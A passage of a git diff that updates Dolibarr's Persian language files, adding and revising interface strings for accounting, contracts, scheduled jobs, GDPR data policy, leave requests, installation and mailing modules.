SignatureProposalRef=امضای پیشنهاد تجاری/استعلام‌مظنه %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=قابلیت امضای برخط غیرفعال است یا این سند قبل از فعال کردن این قابلیت ساخته شده است diff --git a/htdocs/langs/fa_IR/compta.lang b/htdocs/langs/fa_IR/compta.lang index 9ce3756fbdf..b5ec22415c1 100644 --- a/htdocs/langs/fa_IR/compta.lang +++ b/htdocs/langs/fa_IR/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=موجودی (قبلا) Balance=موجودی Debit=بدهکار Credit=بستانکار +AccountingDebit=بدهکار +AccountingCredit=بستانکار Piece=سند حساب‌داری AmountHTVATRealReceived=درآمد خالص AmountHTVATRealPaid=پرداختی خالص @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=حذف یک پرداخت مالیات اجتماعی/ساختاری DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=مالیات‌های اجتماعی و ساختاری و پرداخت‌ها CalcModeVATDebt=حالت %sحساب‌داری مالیات‌بر‌ارزش افزوده تعهدی%s. CalcModeVATEngagement=حالت %sمالیات بر ارزش افزوده در ازای درآمد-هزینه%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=گزارش گردش‌مال TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=گزارش گردش‌مالی بر حسب نرخ مالیات بر فروش فعال نیست. این گزارش صرفا بر حسب گردش مالی صورت‌حساب شده فعال است. CalculationMode=حالت محاسبه AccountancyJournal=دفتر کد حسابداری -ACCOUNTING_VAT_SOLD_ACCOUNT=حساب‌حساب‌داری پیش‌فرض برای مالیات‌برارزش‌افزوده در فروش ( در صورتی که در برپاسازی واژه‌نامۀ مالیات‌بر‌ارزش‌افزوده تعریف نشده باشد، استفاده می‌شود) -ACCOUNTING_VAT_BUY_ACCOUNT=حساب‌حساب‌داری پیش‌فرض برای مالیات‌برارزش‌افزوده در خرید ( در صورتی که در برپاسازی واژه‌نامۀ مالیات‌بر‌ارزش‌افزوده تعریف نشده باشد، استفاده می‌شود) -ACCOUNTING_VAT_PAY_ACCOUNT=حساب‌حساب‌داری پیش‌فرض برای پرداخت مالیات‌برارزش‌افزوده -ACCOUNTING_ACCOUNT_CUSTOMER=حساب‌حساب‌داری پیش‌فرض برای شخص‌سوم‌های مشتری +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=حساب‌حساب‌داری اختصاصی تعریف شده در کارت شخص‌سوم تنها برای حساب‌داری دفترمعین استفاده می‌شود. اگر حساب‌حساب‌داری اختصاصی مشتری در کارت شخص‌سوم تعریف نشده باشد، این یکی فقط برای دفترکل‌مرکزی و به‌عنوان مقدار پیش‌فرض حسابداری دفترمعین استفاده می‌شود. -ACCOUNTING_ACCOUNT_SUPPLIER=حساب حساب‌داری استفاده شده برای اشخاص سوم +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=حساب‌حساب‌داری اختصاصی تعریف شده در کارت شخص‌سوم تنها برای حساب‌داری دفترمعین استفاده می‌شود. اگر حساب‌حساب‌داری اختصاصی مشتری در کارت شخص‌سوم تعریف نشده باشد، این یکی فقط برای دفترکل‌مرکزی و به‌عنوان مقدار پیش‌فرض حسابداری دفترمعین استفاده می‌شود. ConfirmCloneTax=نسخه‌برداری از یک مالیات اجتماعی/ساختاری را تائید کنید ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/fa_IR/contracts.lang b/htdocs/langs/fa_IR/contracts.lang index 0010b765c09..28589f561e1 100644 --- a/htdocs/langs/fa_IR/contracts.lang +++ b/htdocs/langs/fa_IR/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=قراردادها/اشتراک‌ها ContractsAndLine=قراردادها و سطر قراردادها Contract=قرارداد ContractLine=سطر قرارداد +ContractLines=Contract lines Closing=بستن NoContracts=قراردادی نیست MenuServices=خدمات @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=آیا مطمئن هستید می‌خواهید ای MoveToAnotherContract=جابجا کردن خدمات به یک قرارداد دیگر. ConfirmMoveToAnotherContract=من یک قرارداد مقصد جدید انتخاب کردم و تائید می‌کنم که قصد دارم این خدمات را به این قرارداد جدید منتقل کنم. ConfirmMoveToAnotherContractQuestion=انتخاب کنید می‌خواهید این قرارداد را به قرارداد موجود (از همین شخص سوم) منتقل کنید؟ -PaymentRenewContractId=تمدید یک سطر قرارداد (شمارۀ %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=تاریخ انقضا NoExpiredServices=خدمات فعال منقضی شده وجود ندارد ListOfServicesToExpireWithDuration=فهرست خدماتی که در %s روز منقضی خواهند شد @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=طرف‌تماس مشتری امضا HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/fa_IR/cron.lang b/htdocs/langs/fa_IR/cron.lang index 65a628f47cb..fc54b10a328 100644 --- a/htdocs/langs/fa_IR/cron.lang +++ b/htdocs/langs/fa_IR/cron.lang @@ -26,7 +26,7 @@ CronCommand=فرمان CronList=وظایف برنامه‌ریزی‌شده CronDelete=حذف وظایف‌برنامه‌ریزی‌شده CronConfirmDelete=آیا مطمئن هستید می‌خواهید این وظایف‌برنامه‌ریزی‌شده را حذف کنید؟ -CronExecute=اجرای وظیفۀ برنامه‌ریزی‌شده +CronExecute=Launch now CronConfirmExecute=آیا مطمئن هستید می‌خواهید اکنون این وظیفۀ برنامه‌ریزی شده را اجرا کنید؟ CronInfo=واحد وظایف‌برنامه‌ریزی‌شده به شما امکان اجرای خودکار و زمان‌بندی‌شدۀ وظایف را می‌دهد. این وظایف همچنین امکان اجرای دلخواه دستی نیز دارند. CronTask=وظیفه @@ -58,7 +58,7 @@ CronNote=توضیح CronFieldMandatory=بخش %s الزامی است CronErrEndDateStartDt=تاریخ پایان نمی‌تواند قبل از تاریخ شروع باشد StatusAtInstall=وضعیت نصب واحد -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=غیرفعال‌کردن CronTaskInactive=This job is disabled (not scheduled) CronId=شناسه @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=وظیفه غیرفعال است MakeLocalDatabaseDumpShort=پشتیبان‌گیری از پایگاه داده محلی MakeLocalDatabaseDump=نسخه‌برداری-dump از پایگاه دادۀ محلی. مؤلفه‌های مربوطه از قرار: فشرده‌سازی ('gz' یا 'bz' یا 'none')، نوع پشتیبان‌گیری ('mysql', 'pgsql', 'auto'), 1, 'auto' یا نام فایلی که ساخته می‌شود, تعداد فایل‌هائی که نگه‌داری می‌شود است +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=توجه، برای مقاصد بهینه‌سازی، زمان اجرای بعدی وظایف فعال، وظایف شما ممکن است حداکثر %s ساعت قبل از اجرا تاخیر داشته باشد. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/fa_IR/datapolicy.lang b/htdocs/langs/fa_IR/datapolicy.lang new file mode 100644 index 00000000000..2b0ac4d3f5d --- /dev/null +++ b/htdocs/langs/fa_IR/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = احتمالی +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = تامین کننده +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = احتمالی +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = تامین کننده +DATAPOLICY_ADHERENT = عضو +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/fa_IR/dict.lang b/htdocs/langs/fa_IR/dict.lang index 64c28335fff..f6a13348261 100644 --- a/htdocs/langs/fa_IR/dict.lang +++ b/htdocs/langs/fa_IR/dict.lang @@ -21,7 +21,7 @@ CountryNL=هلند CountryHU=مجارستان CountryRU=روسیه، CountrySE=سوئد -CountryCI=Ivoiry ساحل +CountryCI=Ivory Coast CountrySN=سنگال CountryAR=آرژانتین CountryCM=کامرون @@ -250,7 +250,9 @@ CountryMF=سنت مارتین ##### Civilities ##### CivilityMME=خانم +CivilityMMEShort=خانم CivilityMR=آقای +CivilityMRShort=آقای CivilityMLE=خانم CivilityMTRE=استاد CivilityDR=دکتر diff --git a/htdocs/langs/fa_IR/ecm.lang b/htdocs/langs/fa_IR/ecm.lang index dc0607959f4..6f19897dc52 100644 --- a/htdocs/langs/fa_IR/ecm.lang +++ b/htdocs/langs/fa_IR/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=پوشۀ دستی ECMSectionAuto=پوشۀ خودکار ECMSectionsManual=درخت دستی ECMSectionsAuto=درخت خودکار +ECMSectionsMedias=Medias tree ECMSections=پوشه‌ه ECMRoot=ریشۀ ECM ECMNewSection=پوشۀ جدید @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=تعداد فایل‌های زیرپوشه‌ها ECMCreationUser=سازنده ECMArea=بخش مدیریت مستندات/محتواها ECMAreaDesc=بخش مدیریت مستندات/محتوا (سامانۀ مدیریت مستندات / مدیریت محتوای الکترونیک) به شما امکان ذخیره، اشتراک‌گذاری و جستجوی سریع هر سندی در Dolibarr را می‌دهد. -ECMAreaDesc2=* پوشه‌های خودکار در هنگام افزودن سندهای مربوط به یک کارت موارد مختلف ایجاد و پر می‌شوند.
      * پوشه‌های دستی، برای ذخیرۀ سندهائی که به هیچ موردی متصل نیستند قابل استفاده هستند. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=پوشۀ %s حذف شد. ECMSectionWasCreated=پوشۀ %s ساخته شد. ECMSearchByKeywords=جستجو با کلمات‌کلیدی diff --git a/htdocs/langs/fa_IR/holiday.lang b/htdocs/langs/fa_IR/holiday.lang index 823b4377048..3af5f05da71 100644 --- a/htdocs/langs/fa_IR/holiday.lang +++ b/htdocs/langs/fa_IR/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=مدیریت منابع انسانی -Holidays=مرخصی +Holidays=Leaves +Holiday=مرخصی CPTitreMenu=مرخصی MenuReportMonth=گزارش ماهان MenuAddCP=درخواست مرخصی جدید +MenuCollectiveAddCP=New collective leave request NotActiveModCP=شما باید واحد مرخصی را فعال کنید تا این صفحه را ببینید. AddCP=ایجاد یک درخواست مرخصی DateDebCP=تاریخ شروع @@ -56,6 +58,7 @@ ConfirmDeleteCP=حذف این درخواست مرخصی را تائید می‌ ErrorCantDeleteCP=خطا، شما حق حذف این درخواست مرخصی را ندارید. CantCreateCP=شما امکان ایجاد درخواست مرخصی را ندارید. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=شما باید یک تاریخ شروع انتخاب کنید. NoDateFin=شما باید تاریخ پایان را انتخاب کنید. ErrorDureeCP=درخواست مرخصی شما هیچ روزکاری در خود ندارد. @@ -79,6 +82,8 @@ MotifCP=دلیل UserCP=کاربر ErrorAddEventToUserCP=یک خطا در هنگام افزودن یک درخواست استثنائی رخ داد. AddEventToUserOkCP=افزودن مرخصی استثنائی کاملا انجام شد. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=نمایش گزارش تغییرات LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=تعادل قبلی NewSoldeCP=تعادل جدید alreadyCPexist=یک درخواست مرخصی قبلا در همین بازه انجام شده است +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=گروه‌ها +users=کاربر +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=آخرین %s درخواست مرخصی تغییریافته @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/fa_IR/install.lang b/htdocs/langs/fa_IR/install.lang index 9418dc5ba06..592ae91cb35 100644 --- a/htdocs/langs/fa_IR/install.lang +++ b/htdocs/langs/fa_IR/install.lang @@ -51,7 +51,6 @@ DatabaseName=نام پایگاه‌داده DatabasePrefix=پیش‌شوند جداول پایگاه‌داده DatabasePrefixDescription=پیش‌وند جداول پایگاه داده، اگر خالی بگذارید برابر با llx_ خواهد بود AdminLogin=حساب کاربری برای صاحب پایگاه‌دادۀ Dolibarr. -PasswordAgain=تائید گذرواژه را دوباره‌نویسی کنید AdminPassword=گذرواژۀ صاحب پایگاه‌دادۀ Dolibarr. CreateDatabase=ساخت پایگاه‌داده CreateUser=ساخت حساب کاربری یا اعطای مجوز به حساب کاربری در پایگاه دادۀ Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=قبلا وجود داشته است DolibarrAdminLogin=ورود کاربر مدیر به Dolibarr AdminLoginAlreadyExists=حساب مدیریت Dolibarr '%s' قبلا وجود داشته است. در صورتی که می‌خواهید یکی دیگر بسازید، به عقب برگردید. FailedToCreateAdminLogin=امکان ساخت حساب مدیریتی Dolibarr نبود -WarningRemoveInstallDir=هشدار، به دلایل امنیتی، پس از آن‌که عملیات نصب یا ارتقا پایان یات، شما باید یک فایل با نام install.lock در پوشۀ document ساخته تا امکان استفادۀ تصادفی/نفوذی از ابزار نصب را ببندید. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=در این PHP فعال نیست ChoosedMigrateScript=یک برنامۀ مهاجرت انتخاب کنید DataMigration=مهاجرت پایگاه داده (داده‌ها) @@ -209,7 +208,12 @@ HideNotAvailableOptions=پنهان کردن گزینه‌های خارج از د ErrorFoundDuringMigration=خطا(ها)ئی که در طول انجام انتقال گزارش می‌شوند و منجر به این می‌شوند گام بعدی فعال نباشد. برای نادیده گرفتن خطاها شما باید اینجا کلیک کنید، اما ممکن است برنامه یا برخی قابلیت‌ها تا زمانی که خطاها رفع نشود، کار نکند. YouTryInstallDisabledByDirLock=برنامه تلاش کرده است که خود را ارتقا دهد، اما صفحات نصب/ارتقا به دلایل امنیتی غیرفعال شده (پوشه با یک پسوند .lock پس‌وند گرفته است).
      YouTryInstallDisabledByFileLock=برنامه تلاش کرده است خود را ارتقا دهد، اما صفحات نصب/ارتقا به دلایل امنیتی غیر فعال شده است ( چون فایل قفل install.lock در پوشۀ documents دلیبار وجود دارد).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=برای مراجعه به برنامه این‌جا کلیک کنید ClickOnLinkOrRemoveManualy=If an upgrade is in progress, please wait. If not, click on the following link. If you always see this same page, you must remove/rename the file install.lock in the documents directory. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Loaded FunctionTest=Function test +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/fa_IR/interventions.lang b/htdocs/langs/fa_IR/interventions.lang index 546306f476a..1ff599bd852 100644 --- a/htdocs/langs/fa_IR/interventions.lang +++ b/htdocs/langs/fa_IR/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=ساعت و دقیقۀ مربوط به بخش تا InterventionStatistics=آمار پادرمیانی‌ها NbOfinterventions=تعداد کارت‌های پادرمیانی NumberOfInterventionsByMonth=تعداد کارت‌های پادرمیانی بر حسب ما (تاریخ تائید اعتبار) -AmountOfInteventionNotIncludedByDefault=به طور پیش‌فرض مبلغ پادرمیانی در سود محاسبه نمی‌شود (در اکثر موارد، برگه‌های زمان برای محاسبۀ زمان صرف شده استفاده می‌شوند). برای شامل کردن سود آن‌ها گزینۀ PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT را در خانه-برپاسازی-سایر به 1 تغییر دهید. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=شناسۀ پادرمیانی InterRef=ش.ارجاع پادرمیانی InterDateCreation=تاریخ ساخت پادرمیانی @@ -66,3 +66,7 @@ RepeatableIntervention=Template of intervention ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/fa_IR/loan.lang b/htdocs/langs/fa_IR/loan.lang index fb241660526..ef175c2c0bc 100644 --- a/htdocs/langs/fa_IR/loan.lang +++ b/htdocs/langs/fa_IR/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=تعهد مالی InterestAmount=سود CapitalRemain=سرمایۀ مانده TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=پیکربندی واحد وام -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=حساب‌حساب‌داری سرمایۀ پیش‌فرض -LOAN_ACCOUNTING_ACCOUNT_INTEREST=حساب‌حساب‌داری سود پیش‌فرض -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=حساب‌حساب‌داری بیمۀ پیش‌فرض +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=ویرایش تعهد مالی diff --git a/htdocs/langs/fa_IR/mailmanspip.lang b/htdocs/langs/fa_IR/mailmanspip.lang index 5474d5e829d..36292830cdc 100644 --- a/htdocs/langs/fa_IR/mailmanspip.lang +++ b/htdocs/langs/fa_IR/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=آزمایش عضویت با موفقیت اجرا شد MailmanDeletionSuccess=آزمایش لغوعضویت با موفقیت اجرا شد SynchroMailManEnabled=یک به‌روزرسانی Mailman انجام خواهد شد SynchroSpipEnabled=یک به‌روزرسانی SPIP انجام خواهد شد -DescADHERENT_MAILMAN_ADMINPW=گذرواژۀ مدیری Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=گذرواژۀ مدیری Mailman DescADHERENT_MAILMAN_URL=نشانی عضویت‌های Mailman DescADHERENT_MAILMAN_UNSUB_URL=نشانی لغوعضویت‌های Mailman DescADHERENT_MAILMAN_LISTS=فهرست‌‌های ثبت خودکار اعضای جدید ((جداشده با ویرگول)) diff --git a/htdocs/langs/fa_IR/mails.lang b/htdocs/langs/fa_IR/mails.lang index b58f51f4c83..a7eb5b1c117 100644 --- a/htdocs/langs/fa_IR/mails.lang +++ b/htdocs/langs/fa_IR/mails.lang @@ -7,10 +7,10 @@ MailCard=ایمیل کارت MailRecipients=دریافت کنندگان MailRecipient=دریافت کننده MailTitle=توصیف -MailFrom=فرستنده +MailFrom=از MailErrorsTo=خطاها به MailReply=پاسخ به -MailTo=گیرنده (ها) +MailTo=به MailToUsers=به کاربر(ان) MailCC=کپی کنید به MailToCCUsers=یک نسخه به کاربر(ان) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=طرف‌های تماس با سمت‌ها MailingModuleDescEmailsFromFile=رایانامه‌ها از فایل MailingModuleDescEmailsFromUser=ورودی رایانامه کاربر MailingModuleDescDolibarrUsers=کاربران دارای رایانامه -MailingModuleDescThirdPartiesByCategories=شخص‌سوم‌ها (بر حسب دسته‌بندی) +MailingModuleDescThirdPartiesByCategories=شخص‌سوم‌ها SendingFromWebInterfaceIsNotAllowed=ارسال از رابط وب مجاز نیست. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/fa_IR/main.lang b/htdocs/langs/fa_IR/main.lang index 9e142144bba..1d818d1e42a 100644 --- a/htdocs/langs/fa_IR/main.lang +++ b/htdocs/langs/fa_IR/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=rtl +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=برای این نوع رایانامه قالبی وجود ن AvailableVariables=متغیرهای موجود برای جایگزینی NoTranslation=بدون ترجمه Translation=ترجمه +Translations=Translations CurrentTimeZone=منطقه زمانی PHP (سرور) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=معتبر Approve=تجویز Disapprove=عدم تجویز ReOpen=دوباره باز کردن +OpenVerb=باز Upload=بالاگذاری ToLink=پیوند Select=انتخاب @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=هیچ گروه‌کاربری تعریف نشده است Password=گذرواژه -PasswordRetype=گذرواژۀ خود را وارد نمائید +PasswordRetype=Repeat your 